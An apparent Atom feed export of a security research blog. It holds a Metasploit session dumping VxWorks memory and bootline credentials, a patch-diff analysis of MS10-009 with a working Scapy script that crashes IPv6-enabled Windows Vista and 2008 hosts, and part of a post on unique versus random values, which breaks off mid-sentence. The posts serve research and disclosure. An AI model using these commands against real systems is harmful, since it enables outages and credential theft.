class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;msf auxiliary(wdbrpc_bootline)| set RHOSTS 192.168.1.1/32&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;RHOSTS =| 192.168.1.1/32&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;msf auxiliary(wdbrpc_bootline)| run&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] 192.168.1.1: VxWorks5.4.2 Centillium Palladia 4K &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] 192.168.1.1: BOOT: tffs=0,0(0,0)host:/tffs/vxworks.s e=192.168.1.4:0xffffff00 h=192.168.1.10 u=p220 pw=p220&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] Auxiliary module execution completed&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;msf auxiliary(wdbrpc_bootline)| use auxiliary/admin/vxworks/wdbrpc_memory_dump &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;msf auxiliary(wdbrpc_memory_dump)| set RHOST 192.168.1.1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;RHOST =| 192.168.1.1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;msf auxiliary(wdbrpc_memory_dump)| set LPATH /tmp/memory.dmp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;LPATH =| /tmp/memory.dmp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;msf auxiliary(wdbrpc_memory_dump)| run&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] Attempting to dump system memory...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] 192.168.1.1 Connected to VxWorks5.4.2 - Centillium Palladia 4K ()&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] Dumping 0x00fef800 bytes from base address 0x80000000 at offset 0x00000000...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] [ 00 % ] Downloaded 0x00000b18 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:11 +0200 2010)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] [ 00 % ] Downloaded 0x000010a4 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:34 +0200 2010)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(...)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] Dumped 0x00fefba0 bytes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;The complete memory dump decompiles cleanly in &lt;a href="http://hex-rays.com/idapro/"&gt;IDA Pro&lt;/a&gt; [*] (base ROM address is kindly provided by the debugger).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;Unfortunately for the demo, it appears that no hardcoded account is to be found. User accounts and (cleartext) passwords are stored within a configuration file. But that was a fun exercise anyway :)&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://newsoft.dyndns.org/tech/VxWorks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://newsoft.dyndns.org/tech/VxWorks.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;[*] Actually not, I had to request a patch for the MIPS processor module :)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-2494847030997895350?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/2494847030997895350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=2494847030997895350' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/2494847030997895350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/2494847030997895350'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2010/09/follow-up-on-vxworks-issue.html' title='Follow-up on VxWorks issue'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-4673507659959887401</id><published>2010-02-24T23:00:00.002+01:00</published><updated>2010-02-24T23:00:02.012+01:00</updated><title type='text'>MS10-009</title><content type='html'>A very long time ago, Microsoft patches used to be boring. Then Microsoft invented the &lt;a href="http://microsoft.com/sdl"&gt;SDL&lt;/a&gt;. The amount of patches and vulnerabilities fixed in Microsoft products did not decrease, but each bug became a unique and very interesting one...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms10-feb.mspx"&gt;February 2010 patches&lt;/a&gt; are no exception to this rule: each one of them provides enlightenment for the security researcher.&lt;br /&gt;&lt;br /&gt;Let's begin this blog series with &lt;a href="http://www.microsoft.com/technet/security/bulletin/MS10-009.mspx"&gt;MS10-009&lt;/a&gt;: "Vulnerabilities in Windows TCP/IP Could Allow Remote Code Execution". This is some kind of Holy Grail in computer security: remote code execution through IP packets only!&lt;br /&gt;&lt;br /&gt;First of all, this flaw affects Windows Vista and Windows 2008 Server "R1" only. For Windows Vista, Microsoft rewrote the whole TCP/IP stack with the objective to build a native IPv4/IPv6 dual stack. In the process they added a lot of kernel stuff, such as &lt;a href="http://blogs.msdn.com/wndp/archive/2006/02/24/538746.aspx"&gt;Winsock Kernel&lt;/a&gt; (WSK), and they removed deprecated stuff, such as SYN Flood protections (&lt;a href="http://technet.microsoft.com/en-us/library/cc938202.aspx"&gt;SynAttackProtect&lt;/a&gt; et al. registry keys).&lt;br /&gt;&lt;br /&gt;Writing a TCP/IP stack is not a task for the faint of heart. Despite Microsoft hiring all sorts of talented engineers, the new stack &lt;a href="http://www.symantec.com/avcenter/reference/ATR-VistaAttackSurface.pdf"&gt;was found vulnerable&lt;/a&gt; to Blat (before build 5270), &lt;a href="http://en.wikipedia.org/wiki/Land_attack"&gt;Land&lt;/a&gt; (before build 5270) and &lt;a href="http://en.wikipedia.org/wiki/Teardrop_attack#Teardrop_Attacks"&gt;Teardrop&lt;/a&gt; (before build 5384) attacks.&lt;br /&gt;&lt;br /&gt;Even after Vista public release, several security bulletins have been published, addressing issues&amp;nbsp;in the new TCP/IP stack -&amp;nbsp;namely: &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS08-001.mspx"&gt;MS08-001&lt;/a&gt;, &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS08-004.mspx"&gt;MS08-004&lt;/a&gt; (this one being specific to Vista) and &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS09-048.mspx"&gt;MS09-048&lt;/a&gt; (this one having a rating of "critical" on Windows Vista and 2008 only).&lt;br /&gt;&lt;br /&gt;Therefore, Windows Vista and 2008 TCP/IP stack cannot be considered "mature" and remains an interesting playground for security researchers. Interestingly, MS10-009 vulnerabilities were silently fixed in Windows Seven and 2008 "R2", showing that Microsoft engineers are doing their homework on their side.&lt;br /&gt;&lt;br /&gt;Now let's get to the point:&lt;br /&gt;&lt;div&gt;&lt;/div&gt;1. ICMPv6 Router Advertisement Vulnerability - CVE-2010-0239&lt;br /&gt;&lt;em&gt;"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Router Advertisement packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Router Advertisement packets to a computer with IPv6 enabled."&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;2. Header MDL Fragmentation Vulnerability - CVE-2010-0240&lt;br /&gt;&lt;em&gt;"A remote code execution vulnerability exists in the Windows TCP/IP stack due to the manner in which the TCP/IP stack handles specially crafted Encapsulating Security Payloads (ESP) over UDP datagram fragments when running a custom network driver."&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;3. ICMPv6 Route Information Vulnerability - CVE-2010-0241&lt;br /&gt;&lt;em&gt;"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Route Information packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Route Information packets to a computer with IPv6 enabled."&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;4. TCP/IP Selective Acknowledgement Vulnerability - CVE-2010-0242&lt;br /&gt;&lt;em&gt;"A denial of service vulnerability exists in TCP/IP processing in Microsoft Windows due to an error in the processing of specially crafted TCP packets with a malformed selective acknowledgment (SACK) value."&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;According to &lt;a href="http://support.microsoft.com/kb/974145"&gt;KB974145&lt;/a&gt;, several files are updated by MS10-009 patch. However we are going to focus on where the meat is, namely "TCPIP.SYS". All screenshots below apply to Windows 2008 "R1" English 32-bit.&lt;br /&gt;&lt;br /&gt;Using &lt;a href="http://www.zynamics.com/bindiff.html"&gt;BinDiff 3&lt;/a&gt;, it quickly appears that 39 functions have a similarity of less than "1.00".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://newsoft.dyndns.org/tech/ms10_009_diff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="512" kt="true" src="http://newsoft.dyndns.org/tech/ms10_009_diff.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Thanks to debugging symbols provided by Microsoft, matching flaws with functions names is pretty straightforward:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;IppIsUdpEspPacket / IppReceiveUdpEspList will probably be in the path of flaw #2.&lt;/li&gt;&lt;li&gt;TcpEnqueueTcbSack will probably in the path of flaw #4.&lt;/li&gt;&lt;li&gt;IppHandleNeighborAdvertisement / Ipv6pHandleRouterAdvertisement will probably be in the path of flaws #1 and #3, which we are targeting today.&lt;/li&gt;&lt;/ul&gt;From that point, diffing is pretty straightforward.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://newsoft.dyndns.org/tech/ms10_009_diff_v6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="384" kt="true" src="http://newsoft.dyndns.org/tech/ms10_009_diff_v6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;On the left side (patched version), data size is pre-tested against 0x20, whereas on the right side (vulnerable version), data size is post-tested.&lt;br /&gt;&lt;br /&gt;Let's have a deeper look at the &lt;a href="http://msdn.microsoft.com/en-us/library/bb259912.aspx"&gt;NdisGetDataBuffer&lt;/a&gt; function, which is new to NDIS 6 (Windows Vista and up):&lt;br /&gt;&lt;br /&gt;"&lt;em&gt;Call the NdisGetDataBuffer function to gain access to a contiguous block of data from a NET_BUFFER structure.&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;em&gt;PVOID NdisGetDataBuffer(&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;div&gt;&lt;em&gt;IN PNET_BUFFER NetBuffer,&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;div&gt;&lt;em&gt;IN ULONG BytesNeeded,&amp;nbsp;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;IN PVOID Storage,&lt;/em&gt;&lt;br /&gt;&lt;em&gt;IN UINT AlignMultiple,&lt;/em&gt;&lt;br /&gt;&lt;em&gt;IN UINT AlignOffset&lt;/em&gt;&lt;br /&gt;&lt;em&gt;);&lt;/em&gt;&lt;br /&gt;&lt;em&gt;(…)&lt;/em&gt;&lt;em&gt;&amp;nbsp;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;Storage&lt;/strong&gt;: a pointer to a buffer, or NULL if no buffer is provided by the caller. The buffer must be greater than or equal in size to the number of bytes specified in BytesNeeded. &lt;strong&gt;If this value is non-NULL, and the data requested is not contiguous, NDIS copies the requested data to the area indicated by Storage.&lt;/strong&gt;&lt;/em&gt;"&lt;br /&gt;&lt;br /&gt;This API is quite hard to understand and clearly violates the principle of least surprise.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://msdn.microsoft.com/en-us/library/bb245897.aspx"&gt;NET_BUFFER&lt;/a&gt; structure holds a &lt;a href="http://msdn.microsoft.com/en-us/library/bb245893.aspx"&gt;NET_BUFFER_HEADER&lt;/a&gt; structure, in which a &lt;a href="http://msdn.microsoft.com/en-us/library/bb245889.aspx"&gt;NET_BUFFER_DATA&lt;/a&gt; structure can be found, which stores a &lt;a href="http://www.microsoft.com/whdc/driver/tips/mdl.mspx"&gt;Memory Descriptor List&lt;/a&gt; (MDL).&lt;br /&gt;&lt;br /&gt;Let's assume that the caller passed a non-NULL &lt;strong&gt;Storage&lt;/strong&gt; parameter to this function. If all packet data has already been allocated into a single (contiguous) memory area, NdisGetDataBuffer will simply return a pointer to this area. However, if packet data is split across several memory areas, NdisGetDataBuffer will concatenate everything into the &lt;strong&gt;Storage&lt;/strong&gt; buffer. &lt;em&gt;This is where the flaw lies, since &lt;strong&gt;Storage&lt;/strong&gt; is a static buffer of 0x20 bytes allocated on stack&lt;/em&gt; (in case of Prefix Info option), &lt;em&gt;whereas the vulnerable ICMPv6 option(s) can be of any size&lt;/em&gt; (options being passed in Type-Length-Value format).&lt;br /&gt;&lt;br /&gt;Now, the last question is: how to force allocation of non-contiguous memory areas? The answer is obvious: using fragmentation, since packets are copied in memory "as is" at NDIS level …&lt;br /&gt;&lt;br /&gt;A bit of &lt;a href="http://www.natisbad.org/scapy/"&gt;Scapy&lt;/a&gt; magic later, here is one possible command to invoke the dreaded Blue Screen of Death on any IPv6-enabled remote system. This is a fragmented Router Advertisement (RA), using a non standard "Prefix Info" of length of 255. Please note that option size is given in multiples of 8, therefore the following code will trash 255*8 = 2040 bytes of kernel stack with byte 0x41.&lt;br /&gt;&lt;blockquote&gt;v6_dst = "fe80::bd92:3788:79b0:c5d1"&lt;br /&gt;&lt;br /&gt;mac_dst = "00:0c:29:de:9b:a8"&lt;br /&gt;&lt;br /&gt;pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)&lt;br /&gt;&lt;br /&gt;l=fragment6(pkt, 1500)&lt;br /&gt;&lt;br /&gt;for p in l:&lt;br /&gt;&amp;nbsp; sendp(Ether(dst=mac_dst)/p, iface="eth0")&lt;/blockquote&gt;This is not the only NdisGetDataBuffer-based flaw that has been fixed, therefore other ICMPv6 options could be used to achieve the same result.&lt;br /&gt;&lt;br /&gt;Now, is this ethical to release such a piece of information to the general public? Well, yes, considering the following mitigations:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;This affects only IPv6-enabled Windows Vista and Windows 2008 "R1" systems (but IPv6 is enabled by default).&lt;/li&gt;&lt;li&gt;Microsoft provided a patch a few weeks ago.&lt;/li&gt;&lt;li&gt;This could raise NDIS 6 developers' awareness.&lt;/li&gt;&lt;li&gt;"Some people" have been working on it for more than 1 year, so it should be considered "available" (if not public).&lt;/li&gt;&lt;li&gt;Since Router Advertisements are not honored when TTL is lower than 255, this attack works only on the local subnet and could not be used to wreak havoc on the Internet.&lt;/li&gt;&lt;li&gt;"/GS" has proved so far to be an effective mitigation against remote code execution through this flaw ("it is just a DoS"™) – not to mention kernel-mode ASLR.&lt;/li&gt;&lt;li&gt;This is a good Scapy + IPv6&amp;nbsp;use case.&lt;/li&gt;&lt;/ul&gt;I might not say the same about other TCP/IP flaws that were fixed in this patch, such as the Selective Acknowledgement one …&lt;br /&gt;&lt;br /&gt;Mandatory greetz: &lt;a href="http://natisbad.org/"&gt;Arnaud Ebalard&lt;/a&gt; (of Scapy6 fame) and &lt;a href="http://droids-corp.org/~serpilliere/"&gt;Fabrice Desclaux&lt;/a&gt; (of Rr0d fame).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-4673507659959887401?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/4673507659959887401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=4673507659959887401' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4673507659959887401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4673507659959887401'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2010/02/ms10-009.html' title='MS10-009'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-7329873522385073205</id><published>2009-09-11T08:00:00.002+01:00</published><updated>2009-09-11T08:00:00.453+01:00</updated><title type='text'>Unique is not Random is not Secure</title><content type='html'>&lt;i&gt;Unique&lt;/i&gt;, &lt;i&gt;Random &lt;/i&gt;and &lt;i&gt;Secure &lt;/i&gt;are three (very) different concepts. Misunderstanding those concepts could lead to severe security issues, as related in this story. However, I had to remove names from the (not so) innocent applications that were harmed :) &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Unique values are needed everywhere in modern computing: ActiveX GUIDs, HTTP session cookies, ... However, while some of those values have no identified security impact (e.g. ActiveX GUIDs), others shall meet very strong security properties (e.g. HTTP session cookies).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;An attacker should at least not be able to guess some or all values that have been or will be generated. A stronger property is the inability for the attacker to guess past or future values, even if he has access to a subset of generated values at some point.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Let's take a "uniqueness generator" that returns an integer value (whatever size is that integer). How unique this value can be?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;Unique values&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The value is &lt;i&gt;unique&lt;/i&gt; if two successive calls to the same function are guaranteed not to yield the same result.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This property is very easy to achieve, either through a monotonous counter (0, 1, 2, 3 ...) or a timestamp. But those generators do not meet even the lowest security requirements formulated before: they are very easy to predict at any time. Fortunately, cookie value == timestamp has disappeared from the Internet years ago.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some better generators exist, such as &lt;a href="http://fr.wikipedia.org/wiki/Globally_Unique_Identifier"&gt;GUID&lt;/a&gt; and &lt;a href="http://fr.wikipedia.org/wiki/Universal_Unique_Identifier"&gt;UUID&lt;/a&gt;. Older GUID generators were based on MAC address and timestamp, therefore having far lesser possible outputs than the entire value space. Recent GUID generators are based on cryptographically sound random generators (see below).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Of course, there are limits to "uniqueness": at least the size of the output value. Everything stored on 32 bits will be easy to find out, even if it comes out of a 160 bits hashing algorithm. Moreover, values can be unique to a given computer only, a given process, or even a given thread.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;Random values&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For security-related tasks, it is often critical to use non-predictable unique generators. Therefore most people began to think "unique == random".&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However, true randomness is very difficult to achieve (as &lt;a href="http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/"&gt;PHP knows&lt;/a&gt;).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The simplest random generator is the &lt;a href="http://en.wikipedia.org/wiki/Linear_congruential_generator"&gt;Linear Congruential generator&lt;/a&gt;. All values are correlated through the following formula: x&lt;sub&gt;n+1&lt;/sub&gt; = A * x&lt;sub&gt;n&lt;/sub&gt; + B [N], where A, B and N are fixed values.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On Windows, the &lt;a href="http://msdn.microsoft.com/en-us/library/398ax69y(VS.71).aspx"&gt;rand()&lt;/a&gt; function of MSVCRT.DLL uses the following parameters:&lt;/div&gt;&lt;div&gt;A = 214013&lt;/div&gt;&lt;div&gt;B = 2531011&lt;/div&gt;&lt;div&gt;N = 2&lt;sup&gt;32&lt;/sup&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Internal state is maintained on 32 bits. However, only the 16 upper bits are returned as a result, masked with 